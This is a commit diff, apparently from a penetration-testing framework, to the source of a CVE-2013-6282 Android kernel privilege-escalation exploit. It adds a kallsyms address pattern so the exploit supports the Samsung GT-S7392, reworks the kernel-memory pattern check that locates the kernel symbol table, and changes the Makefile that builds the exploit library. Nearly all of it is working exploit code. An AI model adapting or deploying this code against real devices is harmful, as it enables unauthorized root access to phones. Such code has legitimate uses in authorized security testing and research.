add pattern for GT-S7392

Author: timwr

external/source/exploits/CVE-2013-6282/Makefile

@@ -2,7 +2,7 @@
 all: install
 
 build:
-	ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
+	ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16 APP_ABI=armeabi
 
 install: build
 	mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2013-6282.so

external/source/exploits/CVE-2013-6282/exploit.c

@@ -50,6 +50,11 @@ unsigned long pattern_kallsyms_addresses3[] = {
 	0xc00081c0,	/* _stext */
 	0xc00081c0	/* __exception_text_start */
 };
+unsigned long pattern_kallsyms_addresses4[] = {
+	0xc0008180,
+	0xc0008180,
+	0xc0008180
+};
 
 unsigned long *kallsymsmem = NULL;
 unsigned long kallsyms_num_syms;
@@ -134,13 +139,12 @@ unsigned long *kerneldump(unsigned long startaddr, unsigned long dumpsize) {
 	return allocaddr;
 }
 
-int check_pattern(unsigned long *addr, unsigned long *pattern, int patternnum) {
+int check_pattern(unsigned long *addr, unsigned long firstval, unsigned long *pattern, int patternnum) {
 	unsigned long val;
 	unsigned long cnt;
 	unsigned long i;
 
-	read_value_at_address((unsigned long)addr, &val);
-	if (val == pattern[0]) {
+	if (firstval == pattern[0]) {
 		cnt = 1;
 		for (i = 1; i < patternnum; i++) {
 			read_value_at_address((unsigned long)(&addr[i]), &val);
@@ -159,11 +163,16 @@ int check_pattern(unsigned long *addr, unsigned long *pattern, int patternnum) {
 }
 
 int check_kallsyms_header(unsigned long *addr) {
-	if (check_pattern(addr, pattern_kallsyms_addresses, sizeof(pattern_kallsyms_addresses) / 4) == 0) {
+	unsigned long val;
+	read_value_at_address((unsigned long)addr, &val);
+
+	if (check_pattern(addr, val, pattern_kallsyms_addresses, sizeof(pattern_kallsyms_addresses) / 4) == 0) {
+		return 0;
+	} else if (check_pattern(addr, val, pattern_kallsyms_addresses2, sizeof(pattern_kallsyms_addresses2) / 4) == 0) {
 		return 0;
-	} else if (check_pattern(addr, pattern_kallsyms_addresses2, sizeof(pattern_kallsyms_addresses2) / 4) == 0) {
+	} else if (check_pattern(addr, val, pattern_kallsyms_addresses3, sizeof(pattern_kallsyms_addresses3) / 4) == 0) {
 		return 0;
-	} else if (check_pattern(addr, pattern_kallsyms_addresses3, sizeof(pattern_kallsyms_addresses3) / 4) == 0) {
+	} else if (check_pattern(addr, val, pattern_kallsyms_addresses4, sizeof(pattern_kallsyms_addresses4) / 4) == 0) {
 		return 0;
 	}